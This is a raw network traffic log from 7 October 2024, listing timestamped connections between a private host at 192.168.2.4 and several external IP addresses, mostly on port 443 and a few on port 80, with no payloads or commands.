Oct 7, 2024 03:23:22.131478071 CEST	443	61023	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:22.131486893 CEST	61023	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:22.131486893 CEST	61024	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:22.131495953 CEST	443	61023	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:22.131501913 CEST	443	61024	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:22.131508112 CEST	61024	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:22.131510973 CEST	443	61024	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:22.131589890 CEST	61021	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:22.131607056 CEST	443	61021	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:22.131634951 CEST	61021	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:22.131643057 CEST	443	61021	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:22.133835077 CEST	61022	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:22.133840084 CEST	443	61022	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:22.148041964 CEST	61027	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:22.148068905 CEST	443	61027	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:22.148212910 CEST	61027	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:22.148258924 CEST	61028	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:22.148294926 CEST	443	61028	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:22.148426056 CEST	61028	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:22.149110079 CEST	61029	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:22.149199963 CEST	443	61029	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:22.149241924 CEST	61030	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:22.149243116 CEST	61027	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:22.149255991 CEST	443	61027	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:22.149269104 CEST	443	61030	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:22.149291992 CEST	61029	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:22.149348021 CEST	61030	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:22.149389982 CEST	61030	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:22.149405003 CEST	61028	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:22.149409056 CEST	443	61030	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:22.149420977 CEST	443	61028	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:22.149516106 CEST	61029	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:22.149539948 CEST	443	61029	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:22.232281923 CEST	443	61025	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:22.232446909 CEST	443	61025	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:22.232536077 CEST	61025	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:22.267971039 CEST	61025	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:22.267980099 CEST	443	61025	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:22.300937891 CEST	61037	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:22.301003933 CEST	443	61037	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:22.301145077 CEST	61037	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:22.306365967 CEST	61037	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:22.306399107 CEST	443	61037	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:22.362921000 CEST	49872	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:22.363331079 CEST	61038	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:22.368169069 CEST	80	49872	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:22.368186951 CEST	80	61038	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:22.368246078 CEST	49872	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:22.368298054 CEST	61038	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:22.368422985 CEST	61038	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:22.373136044 CEST	80	61038	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:22.391583920 CEST	443	61026	104.102.49.254	192.168.2.4
Oct 7, 2024 03:23:22.391652107 CEST	61026	443	192.168.2.4	104.102.49.254
Oct 7, 2024 03:23:22.393413067 CEST	61026	443	192.168.2.4	104.102.49.254
Oct 7, 2024 03:23:22.393419027 CEST	443	61026	104.102.49.254	192.168.2.4
Oct 7, 2024 03:23:22.393739939 CEST	443	61026	104.102.49.254	192.168.2.4
Oct 7, 2024 03:23:22.437869072 CEST	61026	443	192.168.2.4	104.102.49.254
Oct 7, 2024 03:23:22.464073896 CEST	61026	443	192.168.2.4	104.102.49.254
Oct 7, 2024 03:23:22.507447004 CEST	443	61026	104.102.49.254	192.168.2.4
Oct 7, 2024 03:23:22.804047108 CEST	443	61029	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:22.804527998 CEST	61029	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:22.804590940 CEST	443	61029	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:22.805125952 CEST	61029	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:22.805145025 CEST	443	61029	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:22.806139946 CEST	443	61028	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:22.806593895 CEST	61028	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:22.806622028 CEST	443	61028	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:22.807010889 CEST	61028	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:22.807025909 CEST	443	61028	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:22.807225943 CEST	443	61030	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:22.807547092 CEST	61030	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:22.807579994 CEST	443	61030	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:22.808199883 CEST	61030	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:22.808212996 CEST	443	61030	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:22.821378946 CEST	443	61027	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:22.821736097 CEST	61027	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:22.821754932 CEST	443	61027	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:22.822532892 CEST	61027	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:22.822536945 CEST	443	61027	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:22.872657061 CEST	443	61026	104.102.49.254	192.168.2.4
Oct 7, 2024 03:23:22.872689009 CEST	443	61026	104.102.49.254	192.168.2.4
Oct 7, 2024 03:23:22.872709990 CEST	61026	443	192.168.2.4	104.102.49.254
Oct 7, 2024 03:23:22.872718096 CEST	443	61026	104.102.49.254	192.168.2.4
Oct 7, 2024 03:23:22.872726917 CEST	443	61026	104.102.49.254	192.168.2.4
Oct 7, 2024 03:23:22.872740030 CEST	443	61026	104.102.49.254	192.168.2.4
Oct 7, 2024 03:23:22.872749090 CEST	61026	443	192.168.2.4	104.102.49.254
Oct 7, 2024 03:23:22.872750998 CEST	443	61026	104.102.49.254	192.168.2.4
Oct 7, 2024 03:23:22.872772932 CEST	61026	443	192.168.2.4	104.102.49.254
Oct 7, 2024 03:23:22.872791052 CEST	61026	443	192.168.2.4	104.102.49.254
Oct 7, 2024 03:23:22.904566050 CEST	443	61029	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:22.904622078 CEST	443	61029	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:22.904880047 CEST	443	61029	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:22.904912949 CEST	61029	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:22.904988050 CEST	61029	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:22.904988050 CEST	61029	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:22.905035019 CEST	61029	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:22.905075073 CEST	443	61029	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:22.907432079 CEST	443	61030	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:22.907608032 CEST	443	61030	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:22.907671928 CEST	61030	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:22.907700062 CEST	443	61030	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:22.907733917 CEST	443	61030	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:22.907780886 CEST	61030	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:22.907938004 CEST	61039	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:22.907987118 CEST	443	61039	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:22.908035994 CEST	61030	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:22.908056021 CEST	443	61030	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:22.908062935 CEST	61039	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:22.908081055 CEST	61030	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:22.908094883 CEST	443	61030	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:22.908226967 CEST	61039	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:22.908252954 CEST	443	61039	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:22.908804893 CEST	443	61028	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:22.908868074 CEST	443	61028	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:22.908910036 CEST	61028	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:22.909209967 CEST	61028	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:22.909209967 CEST	61028	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:22.909229040 CEST	443	61028	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:22.909240007 CEST	443	61028	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:22.911344051 CEST	61040	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:22.911387920 CEST	443	61040	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:22.911458969 CEST	61040	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:22.911608934 CEST	61040	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:22.911642075 CEST	443	61040	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:22.911968946 CEST	61041	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:22.911998034 CEST	443	61041	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:22.912070990 CEST	61041	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:22.912264109 CEST	61041	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:22.912283897 CEST	443	61041	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:22.923861980 CEST	443	61027	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:22.923993111 CEST	443	61027	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:22.924038887 CEST	61027	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:22.924097061 CEST	61027	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:22.924107075 CEST	443	61027	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:22.924122095 CEST	61027	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:22.924125910 CEST	443	61027	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:22.926125050 CEST	61042	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:22.926141024 CEST	443	61042	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:22.926317930 CEST	61042	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:22.926409960 CEST	61042	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:22.926418066 CEST	443	61042	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:22.958627939 CEST	443	61037	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:22.958970070 CEST	61037	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:22.959027052 CEST	443	61037	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:22.959554911 CEST	61037	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:22.959568024 CEST	443	61037	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:22.973222971 CEST	443	61026	104.102.49.254	192.168.2.4
Oct 7, 2024 03:23:22.973249912 CEST	443	61026	104.102.49.254	192.168.2.4
Oct 7, 2024 03:23:22.973294973 CEST	61026	443	192.168.2.4	104.102.49.254
Oct 7, 2024 03:23:22.973301888 CEST	443	61026	104.102.49.254	192.168.2.4
Oct 7, 2024 03:23:22.973330975 CEST	61026	443	192.168.2.4	104.102.49.254
Oct 7, 2024 03:23:22.973340034 CEST	61026	443	192.168.2.4	104.102.49.254
Oct 7, 2024 03:23:22.978760004 CEST	443	61026	104.102.49.254	192.168.2.4
Oct 7, 2024 03:23:22.978816032 CEST	61026	443	192.168.2.4	104.102.49.254
Oct 7, 2024 03:23:22.978821039 CEST	443	61026	104.102.49.254	192.168.2.4
Oct 7, 2024 03:23:22.978830099 CEST	443	61026	104.102.49.254	192.168.2.4
Oct 7, 2024 03:23:22.978861094 CEST	61026	443	192.168.2.4	104.102.49.254
Oct 7, 2024 03:23:22.980479002 CEST	61026	443	192.168.2.4	104.102.49.254
Oct 7, 2024 03:23:22.980484009 CEST	443	61026	104.102.49.254	192.168.2.4
Oct 7, 2024 03:23:22.980515957 CEST	61026	443	192.168.2.4	104.102.49.254
Oct 7, 2024 03:23:22.980520010 CEST	443	61026	104.102.49.254	192.168.2.4
Oct 7, 2024 03:23:23.017946959 CEST	61043	443	192.168.2.4	104.21.53.8
Oct 7, 2024 03:23:23.018007040 CEST	443	61043	104.21.53.8	192.168.2.4
Oct 7, 2024 03:23:23.018258095 CEST	61043	443	192.168.2.4	104.21.53.8
Oct 7, 2024 03:23:23.018649101 CEST	61043	443	192.168.2.4	104.21.53.8
Oct 7, 2024 03:23:23.018676996 CEST	443	61043	104.21.53.8	192.168.2.4
Oct 7, 2024 03:23:23.058809996 CEST	443	61037	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:23.059068918 CEST	443	61037	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:23.059108019 CEST	443	61037	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:23.059144974 CEST	61037	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:23.059216022 CEST	61037	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:23.059326887 CEST	61037	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:23.059361935 CEST	443	61037	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:23.059406042 CEST	61037	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:23.059422016 CEST	443	61037	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:23.061830044 CEST	61044	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:23.061870098 CEST	443	61044	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:23.061996937 CEST	61044	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:23.062156916 CEST	61044	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:23.062170982 CEST	443	61044	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:23.082109928 CEST	80	61038	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:23.082187891 CEST	61038	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:23.210705042 CEST	61045	443	192.168.2.4	142.250.184.238
Oct 7, 2024 03:23:23.210802078 CEST	443	61045	142.250.184.238	192.168.2.4
Oct 7, 2024 03:23:23.211756945 CEST	61045	443	192.168.2.4	142.250.184.238
Oct 7, 2024 03:23:23.212011099 CEST	61045	443	192.168.2.4	142.250.184.238
Oct 7, 2024 03:23:23.212047100 CEST	443	61045	142.250.184.238	192.168.2.4
Oct 7, 2024 03:23:23.503607035 CEST	443	61043	104.21.53.8	192.168.2.4
Oct 7, 2024 03:23:23.503675938 CEST	61043	443	192.168.2.4	104.21.53.8
Oct 7, 2024 03:23:23.505940914 CEST	61043	443	192.168.2.4	104.21.53.8
Oct 7, 2024 03:23:23.505956888 CEST	443	61043	104.21.53.8	192.168.2.4
Oct 7, 2024 03:23:23.506191015 CEST	443	61043	104.21.53.8	192.168.2.4
Oct 7, 2024 03:23:23.508188963 CEST	61043	443	192.168.2.4	104.21.53.8
Oct 7, 2024 03:23:23.508224964 CEST	61043	443	192.168.2.4	104.21.53.8
Oct 7, 2024 03:23:23.508274078 CEST	443	61043	104.21.53.8	192.168.2.4
Oct 7, 2024 03:23:23.556332111 CEST	443	61041	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:23.556720972 CEST	61041	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:23.556732893 CEST	443	61041	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:23.557286978 CEST	61041	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:23.557291031 CEST	443	61041	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:23.557981968 CEST	443	61040	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:23.558098078 CEST	443	61039	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:23.558490992 CEST	61039	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:23.558511972 CEST	443	61039	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:23.558548927 CEST	61040	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:23.558598042 CEST	443	61040	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:23.558963060 CEST	61039	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:23.558974028 CEST	443	61039	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:23.559242010 CEST	61040	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:23.559256077 CEST	443	61040	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:23.577359915 CEST	443	61042	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:23.577682018 CEST	61042	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:23.577687979 CEST	443	61042	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:23.578296900 CEST	61042	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:23.578299999 CEST	443	61042	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:23.653322935 CEST	443	61041	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:23.653789043 CEST	443	61041	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:23.653846025 CEST	61041	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:23.653876066 CEST	61041	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:23.653887987 CEST	443	61041	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:23.653896093 CEST	61041	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:23.653901100 CEST	443	61041	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:23.656172991 CEST	443	61040	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:23.656760931 CEST	61048	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:23.656837940 CEST	443	61048	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:23.656945944 CEST	443	61040	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:23.656991005 CEST	61048	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:23.656991959 CEST	443	61040	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:23.657021999 CEST	61040	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:23.657057047 CEST	61040	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:23.657085896 CEST	61040	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:23.657114029 CEST	443	61040	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:23.657139063 CEST	61040	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:23.657151937 CEST	443	61040	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:23.657288074 CEST	61048	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:23.657322884 CEST	443	61048	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:23.658639908 CEST	443	61039	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:23.658804893 CEST	443	61039	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:23.658871889 CEST	61039	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:23.658935070 CEST	61039	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:23.658958912 CEST	443	61039	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:23.658982992 CEST	61039	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:23.658996105 CEST	443	61039	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:23.659456968 CEST	61049	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:23.659483910 CEST	443	61049	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:23.659728050 CEST	61049	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:23.659862995 CEST	61049	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:23.659887075 CEST	443	61049	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:23.661847115 CEST	61050	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:23.661870003 CEST	443	61050	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:23.661936045 CEST	61050	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:23.662031889 CEST	61050	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:23.662053108 CEST	443	61050	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:23.677195072 CEST	443	61042	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:23.677246094 CEST	443	61042	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:23.677364111 CEST	443	61042	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:23.677370071 CEST	61042	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:23.677418947 CEST	61042	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:23.677457094 CEST	61042	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:23.677463055 CEST	443	61042	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:23.677484035 CEST	61042	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:23.677486897 CEST	443	61042	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:23.679605007 CEST	61051	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:23.679642916 CEST	443	61051	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:23.679764986 CEST	61051	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:23.679888964 CEST	61051	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:23.679929972 CEST	443	61051	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:23.707185984 CEST	443	61044	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:23.707535982 CEST	61044	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:23.707549095 CEST	443	61044	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:23.708054066 CEST	61044	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:23.708060026 CEST	443	61044	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:23.808233023 CEST	443	61044	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:23.808268070 CEST	443	61044	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:23.808300972 CEST	443	61044	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:23.808341980 CEST	61044	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:23.808445930 CEST	61044	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:23.808464050 CEST	443	61044	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:23.808475971 CEST	61044	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:23.808482885 CEST	443	61044	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:23.810781956 CEST	61052	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:23.810862064 CEST	443	61052	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:23.811000109 CEST	61052	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:23.811158895 CEST	61052	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:23.811193943 CEST	443	61052	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:23.854311943 CEST	443	61045	142.250.184.238	192.168.2.4
Oct 7, 2024 03:23:23.854696989 CEST	61045	443	192.168.2.4	142.250.184.238
Oct 7, 2024 03:23:23.854736090 CEST	443	61045	142.250.184.238	192.168.2.4
Oct 7, 2024 03:23:23.855838060 CEST	443	61045	142.250.184.238	192.168.2.4
Oct 7, 2024 03:23:23.855906010 CEST	61045	443	192.168.2.4	142.250.184.238
Oct 7, 2024 03:23:23.856856108 CEST	443	61045	142.250.184.238	192.168.2.4
Oct 7, 2024 03:23:23.856930017 CEST	61045	443	192.168.2.4	142.250.184.238
Oct 7, 2024 03:23:23.857665062 CEST	61045	443	192.168.2.4	142.250.184.238
Oct 7, 2024 03:23:23.857753992 CEST	443	61045	142.250.184.238	192.168.2.4
Oct 7, 2024 03:23:23.857825994 CEST	61045	443	192.168.2.4	142.250.184.238
Oct 7, 2024 03:23:23.899424076 CEST	443	61045	142.250.184.238	192.168.2.4
Oct 7, 2024 03:23:23.906687021 CEST	61045	443	192.168.2.4	142.250.184.238
Oct 7, 2024 03:23:23.906702995 CEST	443	61045	142.250.184.238	192.168.2.4
Oct 7, 2024 03:23:23.955439091 CEST	61045	443	192.168.2.4	142.250.184.238
Oct 7, 2024 03:23:23.986646891 CEST	443	61043	104.21.53.8	192.168.2.4
Oct 7, 2024 03:23:23.986709118 CEST	443	61043	104.21.53.8	192.168.2.4
Oct 7, 2024 03:23:23.987082005 CEST	61043	443	192.168.2.4	104.21.53.8
Oct 7, 2024 03:23:23.987222910 CEST	61043	443	192.168.2.4	104.21.53.8
Oct 7, 2024 03:23:23.987267017 CEST	443	61043	104.21.53.8	192.168.2.4
Oct 7, 2024 03:23:23.987293959 CEST	61043	443	192.168.2.4	104.21.53.8
Oct 7, 2024 03:23:23.987310886 CEST	443	61043	104.21.53.8	192.168.2.4
Oct 7, 2024 03:23:24.168407917 CEST	443	61045	142.250.184.238	192.168.2.4
Oct 7, 2024 03:23:24.168550014 CEST	443	61045	142.250.184.238	192.168.2.4
Oct 7, 2024 03:23:24.168617964 CEST	61045	443	192.168.2.4	142.250.184.238
Oct 7, 2024 03:23:24.168653965 CEST	443	61045	142.250.184.238	192.168.2.4
Oct 7, 2024 03:23:24.168688059 CEST	443	61045	142.250.184.238	192.168.2.4
Oct 7, 2024 03:23:24.168750048 CEST	61045	443	192.168.2.4	142.250.184.238
Oct 7, 2024 03:23:24.168766022 CEST	443	61045	142.250.184.238	192.168.2.4
Oct 7, 2024 03:23:24.168821096 CEST	61045	443	192.168.2.4	142.250.184.238
Oct 7, 2024 03:23:24.175765991 CEST	443	61045	142.250.184.238	192.168.2.4
Oct 7, 2024 03:23:24.175827026 CEST	61045	443	192.168.2.4	142.250.184.238
Oct 7, 2024 03:23:24.180882931 CEST	443	61045	142.250.184.238	192.168.2.4
Oct 7, 2024 03:23:24.180953979 CEST	61045	443	192.168.2.4	142.250.184.238
Oct 7, 2024 03:23:24.180974960 CEST	443	61045	142.250.184.238	192.168.2.4
Oct 7, 2024 03:23:24.181022882 CEST	61045	443	192.168.2.4	142.250.184.238
Oct 7, 2024 03:23:24.186835051 CEST	443	61045	142.250.184.238	192.168.2.4
Oct 7, 2024 03:23:24.186897039 CEST	61045	443	192.168.2.4	142.250.184.238
Oct 7, 2024 03:23:24.193124056 CEST	443	61045	142.250.184.238	192.168.2.4
Oct 7, 2024 03:23:24.193195105 CEST	61045	443	192.168.2.4	142.250.184.238
Oct 7, 2024 03:23:24.193212032 CEST	443	61045	142.250.184.238	192.168.2.4
Oct 7, 2024 03:23:24.193274021 CEST	61045	443	192.168.2.4	142.250.184.238
Oct 7, 2024 03:23:24.256656885 CEST	443	61045	142.250.184.238	192.168.2.4
Oct 7, 2024 03:23:24.256750107 CEST	61045	443	192.168.2.4	142.250.184.238
Oct 7, 2024 03:23:24.256778955 CEST	443	61045	142.250.184.238	192.168.2.4
Oct 7, 2024 03:23:24.256846905 CEST	61045	443	192.168.2.4	142.250.184.238
Oct 7, 2024 03:23:24.257600069 CEST	443	61045	142.250.184.238	192.168.2.4
Oct 7, 2024 03:23:24.257678032 CEST	61045	443	192.168.2.4	142.250.184.238
Oct 7, 2024 03:23:24.263744116 CEST	443	61045	142.250.184.238	192.168.2.4
